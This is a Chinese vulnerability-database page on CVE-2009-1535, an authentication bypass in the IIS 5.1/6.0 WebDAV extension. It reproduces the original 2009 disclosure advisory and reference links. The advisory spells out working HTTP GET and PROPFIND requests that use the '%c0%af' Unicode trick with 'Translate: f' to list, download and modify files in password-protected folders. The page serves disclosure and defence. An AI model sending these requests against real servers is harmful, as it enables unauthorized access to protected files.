Microsoft IIS WebDAV Unicode请求绕过认证漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117782 漏洞类型 授权问题
发布时间 2009-05-15 更新时间 2019-07-09
CVE编号 CVE-2009-1535 CNNVD-ID CNNVD-200906-166
漏洞平台 Windows CVSS评分 7.6
|漏洞来源
https://www.exploit-db.com/exploits/8704
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200906-166
|漏洞详情
Microsoft Internet Information Services(IIS)是美国微软(Microsoft)公司的一款适用于Windows Server平台的Web服务器。WebDAV extension是其中的一个用于发布Web内容到IIS服务器的扩展组件。 Microsoft IIS 5.1版本和6.0版本中的WebDAV扩展存在授权问题漏洞。攻击者可利用该漏洞绕过基于URI的保护机制,列出文件夹,读取、创建或修改文件。
|漏洞EXP
####                    
                #                            #####                    
               ####            #             #####                    
              #######         ###           ######                    
                #######      ######       #######                     
                 #########   #######     ########                     
                 #####################  #########                     
                  #### #########  ########## ####                     
                  ####   ######    #######   ####                     
                  ####     ####      ####    ####                     
                   ####                #    #####                     
                   ########    ######       ######                    
                   ###############################                    
    # ####          ##############################                    
    #######      ##             #      ##                             
     ######     #####      ### ##      ####                           
      #####    #####       ########    ####      #######       ##     
      #####    ####     #  #########   ####     #################     
      ####    #####   ####  ########   ####    ##################     
    #######  #####    ####  #########  ####   #####         #####     
   #################  ####  #### ####  ####  #####    #####           
      ##############  ####  #### ##### ##########     #############   
      ####      #####  #### ####  #### ##########     ############    
      ####       ##### #########  #### ####  #####            ####    
      ####        ######### ####   ########   ####            ####    
      #####        #############   ########   #####     ###########   
      #####         ####### ####    #######    ####################   
      ##### #####   ##              #######     ############ #####    
      ####  ###########           #     ##       ######         #     
            ##############   ##  ##############    #############      
           #####    ###### ##### ################# #############      
          #####            ######     ############   ####             
        ######         # #########    ####    ####  ####              
       #####         ########  ####  #####    ####  ###########       
      #####          ######     ##################  ###########       
     #####            #####      ################# ############       
     #######       #########    ###########  ####  ####               
        ############### #############  ####      ########             
          #############  ##########    ####     ################      
            ####          ######       ###       ###############      
                           #                                 ###  

archive: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/8704.pdf (2009-IIS-Advisory.pdf)

   *** FOR IMMEDIATE RELEASE *** *** FOR IMMEDIATE RELEASE ***

Microsoft IIS 6.0 WebDAV Remote Authentication Bypass

Discovered by Kingcope - May 12th, 2009


Affected Vendors

      Microsoft

Affected Products

      Web Server

Vulnerability Details

This vulnerability allows remote attackers to bypass access restrictions
on vulnerable installations of Internet Information Server 6.0. The
specific flaw exists within the WebDAV functionality of IIS 6.0. The Web
Server fails to properly handle unicode tokens when parsing the URI and
sending back data. Exploitation of this issue can result in the
following:

         Authentication bypass of password protected folders
         Listing, downloading and uploading of files into a password protected WebDAV folder

Authentication bypass of password protected folders

Assume there is a password protected folder in
„d:\inetpub\wwwroot\protected\“. The password protection mechanism is
not relevant for the attack to work. Inside this folder there is a file
named „protected.zip“

The attacker sends a HTTP GET request to the web server.

         GET /  %c0%af/protected/protected.zip HTTP/1.1
         Translate: f
         Connection: close
         Host: servername

As seen above the URI contains the unicode character '/' (%c0%af). This
unicode character is removed in a WebDAV request. „Translate: f“
instructs the web server to handle the request using WebDAV. Using this
malicious URI construct the webserver sends the file located at
„/protected/protected.zip“ back to the attacker without asking for
proper authentication. Another valid request an attacker might send to
the web server is:

         GET /prot%c0%afected/protected.zip HTTP/1.1
         Translate: f
         Connection: close
         Host: servername

IIS 6.0 will remove the „%c0%af“ unicode character internally from the
request and send back the password protected file without asking for
proper credentials. ASP scripts cannot be downloaded in this way unless
serving of script source-code is enabled.

Listing files in a password protected WebDAV folder

The attack on WebDAV folders is similar. The attacker can bypass the
access restrictions of the password protected folder and list, download,
upload and modify files. The attacker sends a PROPFIND request to the
web server.

        PROPFIND /protec%c0%afted/ HTTP/1.1
        Host: servername
        User-Agent: neo/0.12.2
        Connection: TE
        TE: trailers
        Depth: 1
        Content-Length: 288
        Content-Type: application/xml
        <?xml version="1.0" encoding="utf-8"?>
        <propfind xmlns="DAV:"><prop>
        <getcontentlength xmlns="DAV:"/>
        <getlastmodified xmlns="DAV:"/>
        <executable xmlns="http://apache.org/dav/props/"/>
        <resourcetype xmlns="DAV:"/>
        <checked-in xmlns="DAV:"/>
        <checked-out xmlns="DAV:"/>
        </prop></propfind>

IIS responds with the directory listing of the folder without asking for a password.

Credit

This vulnerability was discovered by:
        Nikolaos Rangos
        Contact: kcope2@googlemail.com
        Greetings to: alex and andi

# milw0rm.com [2009-05-15]
|参考资料

来源:US-CERT
名称:TA09-160A
链接:http://www.us-cert.gov/cas/techalerts/TA09-160A.html
来源:MS
名称:MS09-020
链接:http://www.microsoft.com/technet/security/Bulletin/MS09-020.mspx
来源:VIM
名称:20090616IISWebDavVulnerabilityCVEID
链接:http://www.attrition.org/pipermail/vim/2009-June/002192.html
来源:MISC
链接:http://view.samurajdata.se/psview.php?id=023287d6&page=1
来源:MISC
链接:http://isc.sans.org/diary.html?n&storyid=6397
来源:MISC
链接:http://blog.zoller.lu/2009/05/iis-6-webdac-auth-bypass-and-data.html
来源:MISC
链接:http://archives.neohapsis.com/archives/fulldisclosure/2009-05/att-0135/IIS_Advisory.pdf
来源:FULLDISC
名称:20090515Re:IIS6+webdavandunicoderidesagainin2009
链接:http://archives.neohapsis.com/archives/fulldisclosure/2009-05/0144.html
来源:FULLDISC
名称:20090515Re:IIS6+webdavandunicoderidesagainin2009
链接:http://archives.neohapsis.com/archives/fulldisclosure/2009-05/0139.html
来源:FULLDISC
名称:20090515IIS6+webdavandunicoderidesagainin2009
链接:http://archives.neohapsis.com/archives/fulldisclosure/2009-05/0135.html